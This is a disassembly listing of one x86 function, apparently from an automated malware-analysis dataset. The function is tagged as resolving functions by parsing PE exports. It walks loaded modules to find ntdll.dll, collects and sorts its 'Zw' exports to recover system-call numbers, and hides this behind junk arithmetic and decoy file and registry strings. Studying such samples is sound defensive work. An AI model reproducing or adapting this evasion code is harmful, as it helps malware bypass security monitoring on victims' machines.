Function at 0x6848c6a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xc8
push esi
push edi
push 0xb
pop ecx
xor edx, edx
mov dword [ebp - 0x64], 0x5f
push 2
mov dword [ebp - 0x60], 0xffffffc6
mov eax, edx
pop edi
add ecx, dword [ebp + eax*4 - 0x64]
inc eax
cmp eax, edi
jl 0x6848c9f
mov dword [ebp - 0x44], 0x23
xorps xmm1, xmm1
mov dword [ebp - 0x40], 0x64
mov dword [ebp - 0x3c], 0x31
mov dword [ebp - 0x38], 0xffffff48
movups xmm0, xmmword [ebp - 0x44]
mov esi, dword [0x685b040]
mov dword [ebp - 0x44], 0xe
psubd xmm1, xmm0
mov dword [ebp - 0x40], 0xd
movaps xmm0, xmm1
mov dword [ebp - 0x3c], edi
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x38], 0xffffff94
movups xmm2, xmmword [ebp - 0x44]
mov dword [ebp - 0x30], ecx
movups xmm0, xmm1
mov dword [ebp - 0x54], 8
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x50], 5
movaps xmm0, xmm2
movd dword [ebp - 0x2c], xmm1
psrldq xmm0, 8
paddd xmm2, xmm0
mov dword [ebp - 0x4c], 0xfffffffe
movups xmm0, xmm2
psrldq xmm0, 4
paddd xmm2, xmm0
movd eax, xmm2
push 0xc
pop ecx
add eax, 0x4f
and esi, 0x69866dd6
mov dword [ebp - 4], eax
mov eax, edx
sub ecx, dword [ebp + eax*4 - 0x54]
inc eax
cmp eax, 3
jl 0x6848d53
push 0xc
mov dword [ebp - 0x34], ecx
mov eax, edx
pop ecx
mov dword [ebp - 0x64], 0x54
mov dword [ebp - 0x60], 0xffffffa0
add ecx, dword [ebp + eax*4 - 0x64]
inc eax
cmp eax, edi
jl 0x6848d73
mov al, byte [str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog]
and esi, 0x257faf76
mov dword [ebp - 0x28], ecx
mov edi, edx
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
mov byte [ebp - 0x21], al
jmp 0x6848d9f
sub al, 0x30
cmp al, 9
ja 0x6848da5
inc ecx
mov al, byte [ecx]
test al, al
jne 0x6848d96
jmp 0x6848dab
sub esi, 0x6e47de70
push 0x22
pop ecx
push 0xe
and esi, 0x8ab28b24
mov dword [ebp - 0x48], ecx
pop eax
or esi, 0xb28104
mov dword [ebp - 0x3c], eax
mov dword [0x685b040], esi
mov eax, edx
mov dword [ebp - 0x44], 0x2f
mov dword [ebp - 0x40], 0x27
mov dword [ebp - 0x38], 0xffffff7a
sub edi, dword [ebp + eax*4 - 0x48]
inc eax
cmp eax, 5
jl 0x6848de0
mov dword [ebp - 0x5c], edi
mov eax, str.RegKey5HKCUSoftwarePaint.NETMRU4
mov dword [ebp - 0x20], 0x16
mov edi, edx
mov dword [ebp - 0x44], 0x2c
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], 0x15
mov dword [ebp - 0x38], 0xffffff87
push 0x52
mov edx, 0x1541
pop ecx
add edx, ecx
inc eax
cmp edx, 0x6ba
ja 0x6848e2f
movsx ecx, byte [eax]
test ecx, ecx
jne 0x6848e1b
jmp 0x6848e3e
push ecx
push ecx
call fcn.068482d1
pop ecx
pop ecx
imul esi, esi, 0xe1b809e1
mov eax, dword [ebp - 0x20]
add esi, 0xed5ff661
add eax, dword [ebp + edi*4 - 0x44]
or esi, 0x6c6055cc
inc edi
mov dword [ebp - 0x20], eax
mov dword [0x685b040], esi
mov eax, str.RegKey5HKCUSoftwarePaint.NETMRU4
cmp edi, 4
jl 0x6848e13
push 0x2b
xor edi, edi
mov dword [ebp - 0x54], 0x5c
pop ecx
mov dword [ebp - 0x50], 0x27
mov eax, edi
mov dword [ebp - 0x4c], 0xffffff52
add ecx, dword [ebp + eax*4 - 0x54]
inc eax
cmp eax, 3
jl 0x6848e81
mov al, byte [ebp - 0x21]
and esi, 0x1a377730
mov dword [ebp - 0x58], ecx
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
jmp 0x6848ea7
sub al, 0x30
cmp al, 9
ja 0x6848ead
inc ecx
mov al, byte [ecx]
test al, al
jne 0x6848e9e
jmp 0x6848eb3
sub esi, 0x4cdbdf98
imul esi, esi, 0x4dc36e0b
push esi
push ecx
mov edx, esi
call fcn.06848965
pop ecx
pop ecx
push 0x1d
pop ecx
mov dword [ebp - 0x54], 0x3b
mov eax, edi
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x4c], 0xffffffa8
add ecx, dword [ebp + eax*4 - 0x54]
inc eax
cmp eax, 3
jl 0x6848ede
movzx eax, byte [str._installLocation_]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x80], 0xc
mov dword [ebp - 0x44], 0xb
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x3c], 0x35
mov dword [ebp - 0x38], 0xffffffc3
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], eax
push 0x52
mov edx, 0xb68
mov eax, str.RegKey5HKCUSoftwarePaint.NETMRU4
pop ecx
add edx, ecx
inc eax
cmp edx, 0x21fe
ja 0x6848f42
movsx ecx, byte [eax]
test ecx, ecx
jne 0x6848f28
xor esi, 0xd9c72cf
jmp 0x6848f53
call fcn.0684826f
sub esi, 0x7c8233eb
and esi, 0x18f2b005
xor esi, 0x1fe237e8
push ecx
push esi
call fcn.06848191
pop ecx
pop ecx
mov ecx, dword [ebp - 8]
mov edx, 0x1a69
mov eax, str._installLocation_
jmp 0x6848f83
add edx, ecx
inc eax
cmp edx, 0x204e
ja 0x684902c
movzx ecx, byte [eax]
test ecx, ecx
jne 0x6848f71
xor esi, 0x14018d3e
add esi, 0x52a2dad1
call fcn.06848109
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x80]
sub ecx, dword [ebp + eax*4 - 0x44]
inc eax
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0xc], eax
cmp eax, 4
jl 0x6848f1b
mov dword [0x685b040], esi
cmp dword [0x6859f00], edi
je 0x6849080
push 0xe
mov dword [ebp - 0x48], 0x3e
mov dword [ebp - 0x44], 0x2c
mov dword [ebp - 0x40], 0x4a
mov dword [ebp - 0x3c], 0x1f
mov dword [ebp - 0x38], 0xffffff3a
pop eax
sub eax, dword [ebp + edi*4 - 0x48]
inc edi
cmp edi, 5
jl 0x6848fea
mov dword [ebp - 0x68], eax
sub esi, 0x289f12af
movzx eax, byte [str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog]
mov ecx, 0x1b5a
test eax, eax
je 0x6849051
mov edx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
add ecx, eax
inc edx
cmp ecx, 0xb33
ja 0x6849042
movzx eax, byte [edx]
test eax, eax
jne 0x6849012
add esi, 0xddab848e
jmp 0x6849057
call fcn.06847f00
and esi, 0x96a8a868
add esi, 0x7a0469a7
jmp 0x6848f8d
push esi
mov edx, esi
call fcn.068487df
pop ecx
sub esi, 0x39e628b4
add esi, 0xc24e489d
push ecx
xor esi, 0x8d51aaba
push ecx
mov dword [0x685b040], esi
call fcn.068482d1
mov eax, dword [ebp - 0x68]
and esi, 0xc9dd2c94
pop ecx
pop ecx
mov dword [0x685b040], esi
jmp 0x68497db
mov eax, dword [ebp - 0x30]
mov ecx, str.rsa_pss_keygen_mgf1_md
mov eax, dword fs:[eax]
mov esi, dword [eax + 0xc]
mov al, byte [str.rsa_pss_keygen_mgf1_md]
jmp 0x684909e
sub al, 0x30
cmp al, 9
ja 0x68490de
inc ecx
mov al, byte [ecx]
test al, al
jne 0x6849095
mov edx, dword [0x685b040]
or edx, 0x6e4e29a5
push ecx
mov ecx, edx
call fcn.06848246
pop ecx
push 0x52
add edx, 0x5433aa26
mov ecx, 0xf0e
pop eax
mov edi, str.RegKey5HKCUSoftwarePaint.NETMRU4
add ecx, eax
inc edi
cmp ecx, 0x25d8
ja 0x68490ec
movsx eax, byte [edi]
test eax, eax
jne 0x68490ca
jmp 0x68490f2
mov edx, dword [0x685b040]
and edx, 0xfd47964c
jmp 0x68490a8
and edx, 0x275dc865
mov ecx, dword [ebp - 0x28]
or edx, 0x3f777e21
imul eax, edx, 0x780c69a8
mov edi, 0xd3d56f35
sub edi, eax
mov eax, dword [ebp - 0x34]
mov dword [0x685b040], edi
mov eax, dword [esi + eax*4 + 8]
xor esi, esi
mov dword [ebp - 8], eax
cmp dword [eax + 0x18], ecx
je 0x684929c
mov dword [ebp - 0x64], 0x5b
mov dword [ebp - 0x60], 0xffffff84
mov dword [ebp - 0xa0], 0xa
mov dword [ebp - 0x9c], 0x47
mov dword [ebp - 0x98], 0xffffff69
push 0x21
pop ecx
mov eax, esi
add ecx, dword [ebp + eax*4 - 0x64]
inc eax
cmp eax, 2
jl 0x6849154
mov dword [ebp - 0x34], ecx
mov eax, esi
mov ecx, esi
mov dword [ebp - 0x7c], 3
mov dword [ebp - 0x78], 0x60
mov dword [ebp - 0x74], 0x3e
mov dword [ebp - 0x70], 0x16
mov dword [ebp - 0x6c], 0xffffff49
sub ecx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x6849188
mov al, byte [str._installLocation_]
mov dword [ebp - 0x30], ecx
mov ecx, str._installLocation_
mov dword [ebp - 0xc], 0x4a
jmp 0x68491b1
sub al, 0x30
cmp al, 9
ja 0x68491b7
inc ecx
mov al, byte [ecx]
test al, al
jne 0x68491a8
jmp 0x68491bd
sub edi, 0xf7ab724
imul edi, edi, 0x4e849bdf
mov ecx, edi
call fcn.06847dd8
mov edx, dword [ebp - 0xc]
and edi, 0x280a0342
or edi, 0x50a0302c
mov eax, esi
add edx, dword [ebp + eax*4 - 0xa0]
inc eax
cmp eax, 3
jl 0x68491db
mov eax, dword [ebp - 8]
and edi, 0xda9817c4
imul edi, edi, 0x62f7548e
mov dword [ebp - 0xc], edx
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, esi
cmp byte [str._installLocation_], al
je 0x6849232
inc eax
cmp eax, 0x24a8
jl 0x684921d
cmp byte [eax + str._installLocation_], 0
jne 0x684920a
jmp 0x684922a
imul edi, edi, 0x42a555d2
cmp eax, 0x21ab
jle 0x6849232
call fcn.0684869c
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
xor edi, 0xc571041
mov ecx, dword [ebp - 0x34]
or edi, 0xb32865ac
mov eax, dword [eax + 0x3c]
lea eax, [eax + ecx*8]
mov ecx, dword [ebp - 4]
mov eax, dword [eax + ecx + 0x78]
cmp eax, dword [ebp - 0x30]
je 0x684927e
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebp - 4]
mov eax, dword [ecx]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x684927e
mov eax, dword [ecx + edx]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x6849296
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x5c]
mov edx, dword [edx + eax*4]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], edx
cmp dword [edx + 0x18], eax
jne 0x684914f
mov dword [0x685b040], edi
mov edx, dword [ebp - 0x2c]
test edx, edx
jne 0x68492ca
push 0x58
pop eax
mov dword [ebp - 0x54], 0x26
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x4c], 0xffffff3e
add eax, dword [ebp + esi*4 - 0x54]
inc esi
cmp esi, 3
jl 0x68492bb
jmp 0x68497db
mov eax, dword [edx + 0x18]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x1c]
add eax, ecx
mov dword [0x685b778], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [edx + 0x20]
add eax, ecx
mov dword [ebp - 0xac], 7
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 0x24]
add eax, ecx
mov dword [ebp - 0xa8], 0xc
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xa4], 0xffffffe3
push 0xb
pop ecx
mov dword [ebp - 8], ecx
xor esi, esi
mov al, byte [str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog]
and edi, 0x94fa5a85
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
jmp 0x6849332
sub al, 0x30
cmp al, 9
ja 0x6849338
inc ecx
mov al, byte [ecx]
test al, al
jne 0x6849329
jmp 0x684933e
sub edi, 0x677803e9
sub edi, 0x1955ddb5
call fcn.0684869c
mov edx, dword [ebp - 8]
add edx, dword [ebp + esi*4 - 0xac]
inc esi
mov dword [ebp - 8], edx
cmp esi, 3
jl 0x6849317
push 0x64
mov edx, 0x183f
mov eax, str.d2i_ECParameters
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x1a93
ja 0x6849385
movzx ecx, word [eax]
test ecx, ecx
jne 0x6849369
or edi, 0x85e4e6e8
jmp 0x6849394
push ecx
mov ecx, edi
call fcn.06848246
pop ecx
add edi, 0xed699af3
push ecx
add edi, 0x6f0f0f86
push ecx
mov dword [0x685b040], edi
call fcn.068482d1
mov eax, dword [ebp - 0xc]
mov esi, edi
sub eax, dword [ebp - 8]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ecx + eax*4]
mov ecx, 0x775a
add eax, dword [ebp - 4]
mov dword [ebp - 0x34], eax
cmp word [eax], cx
jne 0x6849476
push 0xd
xor ecx, ecx
mov dword [ebp - 0x7c], 0x1d
pop edx
mov dword [ebp - 0x78], 0x11
mov eax, ecx
mov dword [ebp - 0x74], 0x23
mov dword [ebp - 0x70], 0x3a
mov dword [ebp - 0x6c], 0xffffff81
sub edx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x68493f5
mov dword [ebp - 0x30], edx
mov eax, ecx
mov edx, 0x1130
mov dword [ebp - 0x8c], 8
mov dword [ebp - 0x88], 0x3b
mov dword [ebp - 0x84], 0xec7
sub edx, dword [ebp + eax*4 - 0x8c]
inc eax
cmp eax, 3
jl 0x6849427
mov ecx, dword [ebp - 0x34]
add edi, 0xa799faee
mov dword [ebp - 8], edx
mov esi, edi
call fcn.06848a90
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov dword [edx*8 + 0x6859f04], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x30]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ecx + eax*4]
mov dword [edx*8 + 0x6859f08], eax
inc edx
mov dword [ebp - 0x20], edx
cmp edx, dword [ebp - 8]
je 0x6849483
jmp 0x6849479
mov edx, dword [ebp - 0x20]
sub dword [ebp - 0xc], 1
jne 0x684930f
mov eax, edx
mov dword [0x6859f00], edx
sub eax, dword [ebp - 0x68]
or esi, 0xb913e7f3
mov dword [0x685b040], esi
cmp dword [ebp - 0x58], eax
jae 0x68497d8
xor edi, edi
mov al, byte [str.rsa_pss_keygen_mgf1_md]
mov ecx, str.rsa_pss_keygen_mgf1_md
jmp 0x68494ba
sub al, 0x30
cmp al, 9
ja 0x68494c0
inc ecx
mov al, byte [ecx]
test al, al
jne 0x68494b1
jmp 0x68494c6
imul esi, esi, 0x80ece8c9
and esi, 0x7d3cf13e
mov ecx, str._installLocation_
push str.sliderRange
mov edx, esi
call fcn.06847e2d
pop ecx
push 0x64
and esi, 0xa3b37ece
mov edx, 0x2259
mov eax, str.d2i_ECParameters
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x148e
ja 0x6849507
movzx ecx, word [eax]
test ecx, ecx
jne 0x68494f1
jmp 0x6849512
call fcn.06847aba
xor esi, 0x39ed5719
or esi, 0xfb93fffb
mov dword [ebp - 0x7c], 0x41
add esi, 0x35ca0de4
mov dword [ebp - 0x78], 0x5d
mov eax, edi
mov dword [ebp - 0x74], 0xd
mov dword [ebp - 0x70], 0x30
mov edx, eax
mov dword [ebp - 0x6c], 0xffffff25
mov dword [0x685b040], esi
sub edx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x684954b
push 0xf
mov dword [ebp - 4], edx
mov eax, edi
pop ecx
mov dword [ebp - 0x94], 0x4f
mov dword [ebp - 0x90], 0x3c
mov dword [ebp - 0x8c], 0x16
mov dword [ebp - 0x88], 0x5f
mov dword [ebp - 0x84], 0xffffff0e
sub ecx, dword [ebp + eax*4 - 0x94]
inc eax
cmp eax, 5
jl 0x684958f
mov eax, dword [ebp - 0x20]
sub eax, ecx
mov dword [ebp - 0x60], ecx
sub eax, dword [ebp - 0x58]
cmp edx, eax
jae 0x68497c3
mov dword [ebp - 0xb8], 0x4e
mov dword [ebp - 0xb4], 0x1b
mov dword [ebp - 0xb0], 0xffffff9e
push 8
pop ecx
mov eax, edi
sub ecx, dword [ebp + eax*4 - 0xb8]
inc eax
cmp eax, 3
jl 0x68495d2
mov eax, dword [edx*8 + 0x6859f08]
mov dword [ebp - 0xc], eax
lea eax, [ecx + edx]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [eax*8 + 0x6859f08]
jbe 0x68497ae
push 0xb
pop eax
mov ecx, eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], 0x21
mov eax, edi
mov dword [ebp - 0xbc], 0xffffffde
sub ecx, dword [ebp + eax*4 - 0xc4]
inc eax
cmp eax, 3
jl 0x684961d
mov dword [ebp - 0x5c], ecx
movzx ecx, byte [str.rsa_pss_keygen_mgf1_md]
mov dword [ebp - 8], 0x48
mov dword [ebp - 0x50], 0x41
mov dword [ebp - 0x4c], 0xffffff78
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], ecx
mov edx, 0x20ba
mov eax, str.rsa_pss_keygen_mgf1_md
cmp dword [ebp - 0x28], edi
je 0x6849678
add edx, ecx
inc eax
cmp edx, 0x1b37
ja 0x6849672
movzx ecx, byte [eax]
test ecx, ecx
jne 0x684965e
jmp 0x6849678
sub esi, 0x6de72255
imul esi, esi, 0xfb2b0155
and esi, 0xac935ca
mov dword [0x685b040], esi
call fcn.06847aba
push 0x73
mov edx, 0x2298
mov eax, str.sliderRange
pop ecx
add edx, ecx
inc eax
cmp edx, 0xf61
ja 0x68496b0
movsx ecx, byte [eax]
test ecx, ecx
jne 0x684969c
jmp 0x68496bb
call fcn.06848302
xor esi, 0x45ae9c44
lea eax, [esi - 0x7a422a6a]
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
imul esi, eax, 0x33e457b8
mov edx, esi
mov dword [0x685b040], esi
call fcn.06848479
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp + eax*4 - 0x50]
inc eax
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp eax, 2
jl 0x684964f
push 0xe
pop ecx
mov dword [ebp - 0x7c], 4
mov eax, edi
mov dword [ebp - 0x78], 0x3f
mov dword [ebp - 0x74], 0x62
mov dword [ebp - 0x70], 0x45
mov dword [ebp - 0x6c], 0xffffff23
sub ecx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x684971e
push 0xc
mov dword [ebp - 0x34], ecx
mov eax, edi
pop edx
mov dword [ebp - 0x40], 0x52
mov dword [ebp - 0x3c], 0x37
mov dword [ebp - 0x38], 0xffffff82
sub edx, dword [ebp + eax*4 - 0x40]
inc eax
cmp eax, 3
jl 0x6849745
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x6859f04]
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 4]
mov eax, dword [eax*8 + 0x6859f04]
mov dword [ecx*8 + 0x6859f04], eax
mov eax, ecx
add eax, dword [ebp - 8]
mov eax, dword [eax*8 + 0x6859f08]
mov dword [ecx*8 + 0x6859f08], eax
mov eax, dword [ebp - 0x34]
add eax, ecx
mov ecx, dword [ebp - 0x30]
mov dword [eax*8 + 0x6859f04], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
add eax, edx
mov edx, dword [ebp - 4]
mov dword [eax*8 + 0x6859f08], ecx
mov eax, dword [0x6859f00]
mov dword [ebp - 0x20], eax
jmp 0x68497b1
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x60]
inc edx
sub eax, dword [ebp - 0x58]
mov dword [ebp - 4], edx
cmp edx, eax
jb 0x68495cd
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x20]
inc eax
sub ecx, dword [ebp - 0x68]
mov dword [ebp - 0x58], eax
cmp eax, ecx
jb 0x68494a5
mov eax, dword [ebp - 0x80]
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret